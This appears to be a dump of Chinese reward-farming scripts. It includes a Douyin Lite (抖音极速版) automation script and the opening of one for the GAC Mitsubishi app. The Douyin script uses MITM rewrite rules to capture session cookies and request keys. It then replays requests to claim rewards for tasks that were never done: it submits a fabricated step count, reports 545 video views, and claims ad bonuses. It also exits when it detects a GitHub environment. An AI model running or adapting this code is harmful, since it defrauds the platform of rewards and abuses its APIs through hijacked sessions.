this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval (t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv (t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get (t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post (t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time (t) { let e = { "M+": (new Date).getMonth() + 1, "d+": (new Date).getDate(), "H+": (new Date).getHours(), "m+": (new Date).getMinutes(), "s+": (new Date).getSeconds(), "q+": Math.floor(((new Date).getMonth() + 3) / 3), S: (new Date).getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, ((new Date).getFullYear() + "").substr(4 - RegExp.$1.length))); for (let s in e) new RegExp("(" + s + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); return t } msg (e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))); let h = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; h.push(e), s && h.push(s), i && h.push(i), console.log(h.join("\n")), this.logs = this.logs.concat(h) } log (...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr (t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) } wait (t) { return new Promise(e => setTimeout(e, t)) } done (t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } -------------------------------------------------------------------------------- /dyjsb.js: -------------------------------------------------------------------------------- 1 | /* 2 | [mitm] 3 | hostname = *.amemv.com 4 | 5 | [rewrite local] 6 | luckycat/aweme/v1/task/done/read? url script-request-header https://raw.githubusercontent.com/FengYun27/Sheep_Hair/main/dyjsb.js 7 | luckycat/aweme/v1/task/walk/step_submit? url script-request-header https://raw.githubusercontent.com/FengYun27/Sheep_Hair/main/dyjsb.js 8 | */ 9 | const $ = new Env('抖音极速版') 10 | const notify = $.isNode() ? require('./sendNotify') : ''; 11 | console.log($.isNode()) 12 | const TASK_WAIT_TIME = 1 //每个任务等待的秒数 13 | let AllMessage = '' 14 | let envSplitor = ['#'] 15 | let httpResult, httpReq, httpResp; 16 | 17 | let fengyun_dyjsb_stepcookie = ($.isNode() ? process.env.fengyun_dyjsb_stepcookie : $.getdata('fengyun_dyjsb_stepcookie')) || ''; 18 | let fengyun_dyjsb_readcookie = ($.isNode() ? process.env.fengyun_dyjsb_readcookie : $.getdata('fengyun_dyjsb_readcookie')) || ''; 19 | let fengyun_dyjsb_keys = ($.isNode() ? process.env.fengyun_dyjsb_keys : $.getdata('fengyun_dyjsb_keys')) || ''; 20 | let dyhost = 'api5-normal-c-lq.amemv.com'; 21 | 22 | let userList = [] 23 | let userIndex = 1 24 | let userCount = 0 25 | 26 | const readcookieArr = [], stepcookieArr = []; 27 | 28 | class UserAction { 29 | constructor(step, read) { 30 | this.aid = '2329' 31 | this.step = JSON.parse(step) 32 | this.cookie = JSON.parse(read) 33 | this.isLogin = true //是否登录 34 | this.sign_in_completed = false //签到任务的状态 35 | this.jiao_take_cash_completed = false //每日提现0.3的状态 36 | this.daily_read_20s_completed = false //每日观看180分钟的状态 37 | this.excitation_ad_completed = false //观看广告的状态 38 | } 39 | 40 | genderHeader() { 41 | if(this.step['X-Khronos']){ 42 | this.step['X-Khronos'] = Math.round(new Date().getTime() / 1000).toString(); 43 | this.step['tt-request-time'] = Math.round(new Date()).toString(); 44 | } 45 | 46 | if(this.cookie['X-Khronos']){ 47 | this.cookie['X-Khronos'] = Math.round(new Date().getTime() / 1000).toString(); 48 | this.cookie['tt-request-time'] = Math.round(new Date()).toString(); 49 | } 50 | } 51 | 52 | //开始任务 53 | async Task() { 54 | try { 55 | AllMessage += `\n============ 账号[${userIndex}] ============` 56 | console.log(`\n============ 账号[${userIndex}] ============`) 57 | await this.task_page() 58 | if (!this.isLogin) { 59 | AllMessage += `---------- 看视频 ----------` 60 | console.log(`---------- 看视频 ----------`) 61 | for (let count = 0; count < 545; count++) { 62 | await this.watch_video(count); 63 | await $.wait(1000 * 21) 64 | } 65 | } else { 66 | AllMessage += `---------- 签到 ----------` 67 | console.log(`---------- 签到 ----------`) 68 | await this.sign_in(); 69 | AllMessage += `---------- 步数 ----------` 70 | console.log(`---------- 步数 ----------`) 71 | await this.step_submit() 72 | await this.step_reward() 73 | AllMessage += `---------- 宝箱广告 ----------` 74 | console.log(`---------- 宝箱广告 ----------`) 75 | await this.treasure_task() 76 | await $.wait(TASK_WAIT_TIME * 1000) 77 | await this.excitation_ad() 78 | await this.excitation_ad_treasure_box() 79 | AllMessage += `---------- 看视频 ----------` 80 | console.log(`---------- 看视频 ----------`) 81 | for (let count = 0; count < 545; count++) { 82 | await this.watch_video(count); 83 | await $.wait(1000 * 21) 84 | } 85 | } 86 | userIndex++; 87 | } catch (e) { 88 | console.log(e) 89 | } 90 | } 91 | 92 | //获取任务列表 93 | async task_page() { 94 | this.genderHeader() 95 | let url = `https://${dyhost}/luckycat/aweme/v1/task/page?${fengyun_dyjsb_keys}` 96 | let headers = this.cookie 97 | let urlObject = populateUrlObject(url, headers) 98 | await httpRequest('get', urlObject) 99 | let result = httpResult; 100 | if (!result) return 101 | //console.log(result) 102 | 103 | if (result.err_no == 0) { 104 | this.isLogin = result.data.is_login 105 | AllMessage += `🎉获取任务列表成功 当前用户${result.data.is_login == true ? '在线' : '未登录'} 共有任务${result.data.task_list.length}个` 106 | console.log(`🎉获取任务列表成功 当前用户${result.data.is_login == true ? '在线' : '未登录'} 共有任务${result.data.task_list.length}个`) 107 | result.data.task_list.forEach(item => { 108 | switch (item.key) { 109 | case 'sign_in': 110 | this.sign_in_completed = item.completed 111 | break; 112 | case 'jiao_take_cash': 113 | this.jiao_take_cash_completed = item.completed 114 | break; 115 | case 'daily_read_20s': 116 | this.daily_read_20s_completed = item.completed 117 | break; 118 | case 'excitation_ad': 119 | this.daily_read_20s_completed = item.completed 120 | break; 121 | default: 122 | break; 123 | } 124 | }); 125 | //AllMessage += 126 | //console.log(`🎉开启宝箱成功 获得音符:${result.data.amount} 看广告再赚${result.data.excitation_ad_info.score_amount}音符`) 127 | } else { 128 | console.log(`❗️${result.err_tips}`) 129 | } 130 | } 131 | 132 | //签到 133 | async sign_in() { 134 | if (this.sign_in_completed) { 135 | AllMessage += `⚠️当日签到任务已经完成` 136 | console.log(`⚠️当日签到任务已经完成`) 137 | return 138 | } 139 | this.genderHeader() 140 | let url = `https://${dyhost}/luckycat/aweme/v1/task/done/sign_in?aid=${this.aid}` 141 | let headers = this.cookie 142 | let urlObject = populateUrlObject(url, headers) 143 | await httpRequest('post', urlObject) 144 | let result = httpResult; 145 | if (!result) return 146 | //console.log(result) 147 | 148 | if (result.err_no == 10006) { 149 | AllMessage += `🎉${result.err_tips}` 150 | console.log(`🎉${result.err_tips}`) 151 | } else if (result.err_no == 10001) { 152 | AllMessage += `⚠️该账号ck已过期(只能获取看视频的收益)` 153 | console.log(`⚠️该账号ck已过期(只能获取看视频的收益)`) 154 | this.isLogin = false 155 | } 156 | else { 157 | AllMessage += `❗️${result.err_tips}` 158 | console.log(`❗️${result.err_tips}`) 159 | } 160 | } 161 | 162 | //提交步数 163 | async step_submit() { 164 | this.genderHeader() 165 | const time = Math.round(new Date().getTime() / 1000).toString(); 166 | let url = `https://${dyhost}/luckycat/aweme/v1/task/walk/step_submit?aid=${this.aid}` 167 | let headers = { 168 | Cookie: this.step.Cookie, 169 | 'User-Agent': 'AwemeLite 14.9.0 rv:149005 (iPhone; iOS 14.5; zh_CN) Cronet' 170 | } 171 | let body = ` 172 | { 173 | "step" : 18889, 174 | "submit_time" :${time}, 175 | "in_sp_time" : 0 176 | }` 177 | let urlObject = populateUrlObject(url, headers, body) 178 | await httpRequest('post', urlObject) 179 | let result = httpResult; 180 | if (!result) return 181 | //console.log(result) 182 | 183 | if (result.err_no == 0) { 184 | AllMessage += `🎉提交 步数:18889 成功` 185 | console.log(`🎉提交 步数:18889 成功`) 186 | } else { 187 | AllMessage += `❗️${result.err_tips}` 188 | console.log(`❗️${result.err_tips}`) 189 | } 190 | } 191 | 192 | //领取走路金币 193 | async step_reward() { 194 | this.genderHeader() 195 | let url = `https://${dyhost}/luckycat/aweme/v1/task/walk/receive_step_reward?aid=${this.aid}` 196 | let headers = this.step 197 | let body = `{"in_sp_time":0}` 198 | let urlObject = populateUrlObject(url, headers, body) 199 | await httpRequest('post', urlObject) 200 | let result = httpResult; 201 | if (!result) return 202 | 203 | //console.log(result) 204 | 205 | if (result.err_no == 0) { 206 | AllMessage += result.err_tips + "获得音符:" + result.data.reward_amount + '\n' 207 | console.log(`🎉` + result.err_tips + "获得音符:" + result.data.reward_amount) 208 | } else { 209 | AllMessage += `❗️${result.err_tips}(可能是奖励领取过了)` 210 | console.log(`❗️${result.err_tips}(可能是奖励领取过了)`) 211 | } 212 | } 213 | 214 | //开启宝箱 215 | async treasure_task(count) { 216 | this.genderHeader() 217 | let url = `https://${dyhost}/luckycat/aweme/v1/task/done/treasure_task?aid=${this.aid}` 218 | let headers = this.cookie 219 | let body = `{"in_sp_time" : 0}` 220 | let urlObject = populateUrlObject(url, headers, body) 221 | await httpRequest('post', urlObject) 222 | let result = httpResult; 223 | if (!result) return 224 | //console.log(result) 225 | 226 | if (result.err_no == 0) { 227 | AllMessage += `🎉开启宝箱成功 获得音符:${result.data.amount} 看广告再赚${result.data.excitation_ad_info.score_amount}音符` 228 | console.log(`🎉开启宝箱成功 获得音符:${result.data.amount} 看广告再赚${result.data.excitation_ad_info.score_amount}音符`) 229 | } else { 230 | AllMessage += `❗️${result.err_tips}` 231 | console.log(`❗️${result.err_tips}`) 232 | } 233 | } 234 | 235 | //开启宝箱看广告 236 | async excitation_ad_treasure_box() { 237 | this.genderHeader() 238 | let url = `https://${dyhost}/luckycat/aweme/v1/task/done/excitation_ad_treasure_box?${fengyun_dyjsb_keys}` 239 | let headers = this.cookie 240 | let urlObject = populateUrlObject(url, headers) 241 | await httpRequest('post', urlObject) 242 | let result = httpResult; 243 | if (!result) return 244 | //console.log(result) 245 | 246 | if (result.err_no == 0) { 247 | AllMessage += `🎉开启宝箱看广告成功 获得音符:${result.data.amount}` 248 | console.log(`🎉开启宝箱看广告成功 获得音符:${result.data.amount}`) 249 | } else { 250 | AllMessage += `❗️${result.err_tips}` 251 | console.log(`❗️${result.err_tips}`) 252 | } 253 | } 254 | 255 | //看视频 256 | async watch_video(count) { 257 | if (this.daily_read_20s_completed) { 258 | AllMessage += `⚠️看视频任务已经完成` 259 | console.log(`⚠️看视频任务已经完成`) 260 | return 261 | } 262 | this.genderHeader() 263 | let url = `https://${dyhost}/luckycat/aweme/v1/task/done/read?${fengyun_dyjsb_keys}` 264 | let headers = this.cookie 265 | let body = `{ 266 | "in_sp_time": 0, 267 | "task_key": "read" 268 | }` 269 | let urlObject = populateUrlObject(url, headers, body) 270 | await httpRequest('post', urlObject) 271 | console.log(httpReq) 272 | console.log(httpResult) 273 | console.log(httpResp) 274 | let result = httpResult; 275 | if (!result) return 276 | //console.log(result) 277 | 278 | if (result.err_no == 0) { 279 | AllMessage += `🎉观看第${count}次视频成功 获得音符:${result.data.score_amount}` 280 | console.log(`🎉观看第${count}次视频成功 获得音符:${result.data.score_amount}`) 281 | } else { 282 | AllMessage += `❗️${result.err_tips}` 283 | console.log(`❗️${result.err_tips}`) 284 | } 285 | } 286 | 287 | //看广告 288 | async excitation_ad(count) { 289 | if (this.excitation_ad_completed) { 290 | AllMessage += `⚠️看广告任务已经完成` 291 | console.log(`⚠️看广告任务已经完成`) 292 | return 293 | } 294 | this.genderHeader() 295 | let url = `https://${dyhost}/luckycat/aweme/v1/task/done/excitation_ad?${fengyun_dyjsb_keys}` 296 | let headers = this.cookie 297 | let urlObject = populateUrlObject(url, headers) 298 | await httpRequest('post', urlObject) 299 | let result = httpResult; 300 | if (!result) return 301 | //console.log(result) 302 | 303 | if (result.err_no == 0) { 304 | AllMessage += `🎉看广告成功 获得音符奖励:${result.data.amount}` 305 | console.log(`🎉看广告成功 获得音符奖励:${result.data.amount}`) 306 | } else { 307 | AllMessage += `❗️${result.err_tips}` 308 | console.log(`❗️${result.err_tips}`) 309 | } 310 | } 311 | } 312 | 313 | !(async () => { 314 | if (typeof $request !== "undefined") { 315 | await CheckEnv() 316 | await GetRewrite() 317 | } else { 318 | if (!(await CheckEnv())) return; 319 | 320 | console.log(`============ 共${userCount}个账号 ============`) 321 | 322 | for (let user of userList) { 323 | await user.Task(); 324 | } 325 | 326 | if ($.isNode()) { 327 | await notify.sendNotify(`${$.name}`, AllMessage); 328 | } 329 | } 330 | })() 331 | .catch((e) => console.log(e)) 332 | .finally(() => $.done()) 333 | 334 | // ===================================== 重写 ======================================= \\ 335 | async function GetRewrite() { 336 | if ($request && $request.url.indexOf("aweme" && "read") >= 0) { 337 | const readKyes = $request.url.split(`?`)[1] 338 | const cookie = JSON.stringify($request.headers) 339 | 340 | if (cookie) { 341 | let data = $.getdata('fengyun_dyjsb_readcookie') 342 | //cookieArr 不存在该值就添加 343 | if (readcookieArr.indexOf(cookie) == -1) { 344 | if (data) { 345 | let newcookie = data + '#' + cookie 346 | $.setdata(newcookie, `fengyun_dyjsb_readcookie`) 347 | } else { 348 | $.setdata(cookie, `fengyun_dyjsb_readcookie`) 349 | } 350 | console.log(`[${$.name}] 获取第${readcookieArr.length + 1}个readcookie请求成功\n${cookie}\n`) 351 | $.msg(`[${$.name}] 获取第${readcookieArr.length + 1}个readcookie成功🎉`, ``) 352 | } 353 | } 354 | if (readKyes) { 355 | let data = $.getdata('fengyun_dyjsb_readkey') 356 | if (!data) { 357 | $.setdata(readKyes, `fengyun_dyjsb_readkey`) 358 | console.log(`[${$.name}] 获取readkey请求成功\n${readKyes}\n`) 359 | $.msg(`[${$.name}] 获取readkeys成功`, ``) 360 | } 361 | } 362 | } 363 | if ($request && $request.url.indexOf("aweme" && "step_submit") >= 0) { 364 | const cookie = JSON.stringify($request.headers) 365 | if (cookie) { 366 | let data = $.getdata('fengyun_dyjsb_stepcookie') 367 | //cookieArr 不存在该值就添加 368 | if (stepcookieArr.indexOf(cookie) == -1) { 369 | if (data) { 370 | let newcookie = data + '#' + cookie 371 | $.setdata(newcookie, `fengyun_dyjsb_stepcookie`) 372 | } else { 373 | $.setdata(cookie, `fengyun_dyjsb_stepcookie`) 374 | } 375 | console.log(`[${$.name}] 获取第${stepcookieArr.length + 1}个stepcookie请求成功\n${cookie}\n`) 376 | $.msg(`[${$.name}] 获取第${stepcookieArr.length + 1}个stepcookie成功🎉`, ``) 377 | } 378 | } 379 | } 380 | } 381 | // ==================================== 环境变量 ===================================== \\ 382 | async function CheckEnv() { 383 | let success = true; 384 | //console.log(`============ 脚本执行-国际标准时间(UTC):${new Date().toLocaleString()} =============\n`) 385 | //console.log(`============ 脚本执行-北京时间(UTC+8):${new Date(new Date().getTime() + 8 * 60 * 60 * 1000).toLocaleString()} =============\n`) 386 | //console.log(`该脚本的所有环境变量只能用 # 隔开`) 387 | 388 | if (fengyun_dyjsb_stepcookie) { 389 | let splitor = envSplitor[0]; 390 | for (let sp of envSplitor) { 391 | if (fengyun_dyjsb_stepcookie.indexOf(sp) > -1) { 392 | splitor = sp; 393 | break; 394 | } 395 | } 396 | for (let cookie of fengyun_dyjsb_stepcookie.split(splitor)) { 397 | if (cookie) { 398 | stepcookieArr.push(cookie) 399 | } 400 | } 401 | //console.log(`${$.name} 共找到cookie ${cookieArr.length}个`) 402 | success = true; 403 | } else { 404 | console.log(`${$.name} 未找到 fengyun_dyjsb_stepcookie`) 405 | success = false; 406 | } 407 | 408 | if (fengyun_dyjsb_readcookie) { 409 | let splitor = envSplitor[0]; 410 | for (let sp of envSplitor) { 411 | if (fengyun_dyjsb_readcookie.indexOf(sp) > -1) { 412 | splitor = sp; 413 | break; 414 | } 415 | } 416 | for (let cookie of fengyun_dyjsb_readcookie.split(splitor)) { 417 | if (cookie) { 418 | readcookieArr.push(cookie) 419 | } 420 | } 421 | //console.log(`${$.name} 共找到cookie ${cookieArr.length}个`) 422 | success = true; 423 | } else { 424 | console.log(`${$.name} 未找到 fengyun_dyjsb_readcookie`) 425 | success = false; 426 | } 427 | 428 | if (!fengyun_dyjsb_keys) { 429 | console.log(`${$.name} 未找到 fengyun_dyjsb_keys`) 430 | success = false; 431 | } else { 432 | for (let index = 0; index < stepcookieArr.length; index++) { 433 | userList.push(new UserAction(stepcookieArr[index], readcookieArr[index])) 434 | } 435 | 436 | userCount = readcookieArr.length 437 | } 438 | 439 | return success; 440 | } 441 | // ==================================== 请求 ===================================== \\ 442 | function populateUrlObject(url, headers, body = '') { 443 | let host = url.replace('//', '/').split('/')[1] 444 | headers.host = host 445 | let urlObject = { 446 | url: url, 447 | headers: headers, 448 | timeout: 5000, 449 | } 450 | if (body) { 451 | urlObject.body = body 452 | urlObject.headers['Content-Type'] = 'application/json;charset=utf-8' 453 | urlObject.headers['Content-Length'] = urlObject.body ? urlObject.body.length : 0 454 | } 455 | return urlObject; 456 | } 457 | 458 | async function httpRequest(method, url) { 459 | httpResult = null, httpReq = null, httpResp = null; 460 | return new Promise((resolve) => { 461 | $.send(method, url, async (err, req, resp) => { 462 | try { 463 | httpReq = req; 464 | httpResp = resp; 465 | if (err) { 466 | console.log(`${method}请求失败`); 467 | console.log(JSON.stringify(err)); 468 | } else { 469 | if (resp.body) { 470 | if (typeof resp.body == "object") { 471 | httpResult = resp.body; 472 | } else { 473 | try { 474 | httpResult = JSON.parse(resp.body); 475 | } catch (e) { } 476 | } 477 | } 478 | } 479 | } catch (e) { 480 | console.log(e); 481 | } finally { 482 | resolve(); 483 | } 484 | }); 485 | }); 486 | } 487 | 488 | function Env(name, env) { 489 | "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); 490 | return new class { 491 | constructor(name, env) { 492 | this.name = name 493 | this.notifyStr = '' 494 | this.startTime = (new Date).getTime() 495 | Object.assign(this, env) 496 | console.log(`${this.name} 开始运行:\n`) 497 | } 498 | isNode() { 499 | return "undefined" != typeof module && !!module.exports 500 | } 501 | isQuanX() { 502 | return "undefined" != typeof $task 503 | } 504 | isSurge() { 505 | return "undefined" != typeof $httpClient && "undefined" == typeof $loon 506 | } 507 | isLoon() { 508 | return "undefined" != typeof $loon 509 | } 510 | getdata(t) { 511 | let e = this.getval(t); 512 | if (/^@/.test(t)) { 513 | const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), 514 | r = s ? this.getval(s) : ""; 515 | if (r) 516 | try { 517 | const t = JSON.parse(r); 518 | e = t ? this.lodash_get(t, i, "") : e 519 | } catch (t) { 520 | e = "" 521 | } 522 | } 523 | return e 524 | } 525 | setdata(t, e) { 526 | let s = !1; 527 | if (/^@/.test(e)) { 528 | const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), 529 | o = this.getval(i), 530 | h = i ? "null" === o ? null : o || "{}" : "{}"; 531 | try { 532 | const e = JSON.parse(h); 533 | this.lodash_set(e, r, t), 534 | s = this.setval(JSON.stringify(e), i) 535 | } catch (e) { 536 | const o = {}; 537 | this.lodash_set(o, r, t), 538 | s = this.setval(JSON.stringify(o), i) 539 | } 540 | } 541 | else s = this.setval(t, e); 542 | return s 543 | } 544 | getval(t) { 545 | return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null 546 | } 547 | setval(t, e) { 548 | return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null 549 | } 550 | send(m, t, e = (() => { })) { 551 | if (m != 'get' && m != 'post' && m != 'put' && m != 'delete') { 552 | console.log(`无效的http方法:${m}`); 553 | return; 554 | } 555 | if (m == 'get' && t.headers) { 556 | delete t.headers["Content-Type"]; 557 | delete t.headers["Content-Length"]; 558 | } else if (t.body && t.headers) { 559 | if (!t.headers["Content-Type"]) t.headers["Content-Type"] = "application/x-www-form-urlencoded"; 560 | } 561 | if (this.isSurge() || this.isLoon()) { 562 | if (this.isSurge() && this.isNeedRewrite) { 563 | t.headers = t.headers || {}; 564 | Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 }); 565 | } 566 | let conf = { 567 | method: m, 568 | url: t.url, 569 | headers: t.headers, 570 | timeout: t.timeout, 571 | data: t.body 572 | }; 573 | if (m == 'get') delete conf.data 574 | $axios(conf).then(t => { 575 | const { 576 | status: i, 577 | request: q, 578 | headers: r, 579 | data: o 580 | } = t; 581 | e(null, q, { 582 | statusCode: i, 583 | headers: r, 584 | body: o 585 | }); 586 | }).catch(err => console.log(err)) 587 | } else if (this.isQuanX()) { 588 | t.method = m.toUpperCase(), this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { 589 | hints: !1 590 | })), 591 | $task.fetch(t).then(t => { 592 | const { 593 | statusCode: i, 594 | request: q, 595 | headers: r, 596 | body: o 597 | } = t; 598 | e(null, q, { 599 | statusCode: i, 600 | headers: r, 601 | body: o 602 | }) 603 | }, t => e(t)) 604 | } else if (this.isNode()) { 605 | this.got = this.got ? this.got : require("got"); 606 | const { 607 | url: s, 608 | ...i 609 | } = t; 610 | this.instance = this.got.extend({ 611 | followRedirect: false 612 | }); 613 | this.instance[m](s, i).then(t => { 614 | const { 615 | statusCode: i, 616 | request: q, 617 | headers: r, 618 | body: o 619 | } = t; 620 | e(null, q, { 621 | statusCode: i, 622 | headers: r, 623 | body: o 624 | }) 625 | }, t => { 626 | const { 627 | message: s, 628 | response: i 629 | } = t; 630 | e(s, i, i && i.body) 631 | }) 632 | } 633 | } 634 | time(t) { 635 | let e = { 636 | "M+": (new Date).getMonth() + 1, 637 | "d+": (new Date).getDate(), 638 | "h+": (new Date).getHours(), 639 | "m+": (new Date).getMinutes(), 640 | "s+": (new Date).getSeconds(), 641 | "q+": Math.floor(((new Date).getMonth() + 3) / 3), 642 | S: (new Date).getMilliseconds() 643 | }; 644 | /(y+)/.test(t) && (t = t.replace(RegExp.$1, ((new Date).getFullYear() + "").substr(4 - RegExp.$1.length))); 645 | for (let s in e) 646 | new RegExp("(" + s + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); 647 | return t 648 | } 649 | async showmsg() { 650 | if (!this.notifyStr) return; 651 | let notifyBody = this.name + " 运行通知\n\n" + this.notifyStr 652 | if ($.isNode()) { 653 | var notify = require('./sendNotify'); 654 | console.log('\n============== 推送 ==============') 655 | await notify.sendNotify(this.name, notifyBody); 656 | } else { 657 | this.msg(notifyBody); 658 | } 659 | } 660 | logAndNotify(str) { 661 | console.log(str) 662 | this.notifyStr += str 663 | this.notifyStr += '\n' 664 | } 665 | msg(e = t, s = "", i = "", r) { 666 | const o = t => { 667 | if (!t) 668 | return t; 669 | if ("string" == typeof t) 670 | return this.isLoon() ? t : this.isQuanX() ? { 671 | "open-url": t 672 | } 673 | : this.isSurge() ? { 674 | url: t 675 | } 676 | : void 0; 677 | if ("object" == typeof t) { 678 | if (this.isLoon()) { 679 | let e = t.openUrl || t.url || t["open-url"], 680 | s = t.mediaUrl || t["media-url"]; 681 | return { 682 | openUrl: e, 683 | mediaUrl: s 684 | } 685 | } 686 | if (this.isQuanX()) { 687 | let e = t["open-url"] || t.url || t.openUrl, 688 | s = t["media-url"] || t.mediaUrl; 689 | return { 690 | "open-url": e, 691 | "media-url": s 692 | } 693 | } 694 | if (this.isSurge()) { 695 | let e = t.url || t.openUrl || t["open-url"]; 696 | return { 697 | url: e 698 | } 699 | } 700 | } 701 | }; 702 | this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))); 703 | let h = ["", "============== 系统通知 =============="]; 704 | h.push(e), 705 | s && h.push(s), 706 | i && h.push(i), 707 | console.log(h.join("\n")) 708 | } 709 | getMin(a, b) { 710 | return ((a < b) ? a : b) 711 | } 712 | getMax(a, b) { 713 | return ((a < b) ? b : a) 714 | } 715 | padStr(num, length, padding = '0') { 716 | let numStr = String(num) 717 | let numPad = (length > numStr.length) ? (length - numStr.length) : 0 718 | let retStr = '' 719 | for (let i = 0; i < numPad; i++) { 720 | retStr += padding 721 | } 722 | retStr += numStr 723 | return retStr; 724 | } 725 | json2str(obj, c, encodeUrl = false) { 726 | let ret = [] 727 | for (let keys of Object.keys(obj).sort()) { 728 | let v = obj[keys] 729 | if (v && encodeUrl) v = encodeURIComponent(v) 730 | ret.push(keys + '=' + v) 731 | } 732 | return ret.join(c); 733 | } 734 | str2json(str, decodeUrl = false) { 735 | let ret = {} 736 | for (let item of str.split('&')) { 737 | if (!item) continue; 738 | let idx = item.indexOf('=') 739 | if (idx == -1) continue; 740 | let k = item.substr(0, idx) 741 | let v = item.substr(idx + 1) 742 | if (decodeUrl) v = decodeURIComponent(v) 743 | ret[k] = v 744 | } 745 | return ret; 746 | } 747 | randomString(len, charset = 'abcdef0123456789') { 748 | let str = ''; 749 | for (let i = 0; i < len; i++) { 750 | str += charset.charAt(Math.floor(Math.random() * charset.length)); 751 | } 752 | return str; 753 | } 754 | wait(t) { 755 | return new Promise(e => setTimeout(e, t)) 756 | } 757 | done(t = {}) { 758 | const e = (new Date).getTime(), 759 | s = (e - this.startTime) / 1e3; 760 | console.log(`\n${this.name} 运行结束,共运行了 ${s} 秒!`) 761 | if (this.isSurge() || this.isQuanX() || this.isLoon()) $done(t) 762 | } 763 | }(name, env) 764 | } -------------------------------------------------------------------------------- /m_gqsl.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 广汽三菱 3 | * cron "0 0 7 * * ?" 4 | * 0 0 7 * * ? 5 | * 6 | * 广汽三菱App 7 | * 任务:签到、分享动态、回答问题、分享咨询、发布评论、分享活动 8 | * 没什么卵用 一天才50积分 一个月1500 加上签到累计奖励 随便挂着一、二个月也能兑换点东西 积分到账会有延迟 9 | * export slCookies='xxxxx@xxxxxx' 多个账号用 @分割 Authorization的值 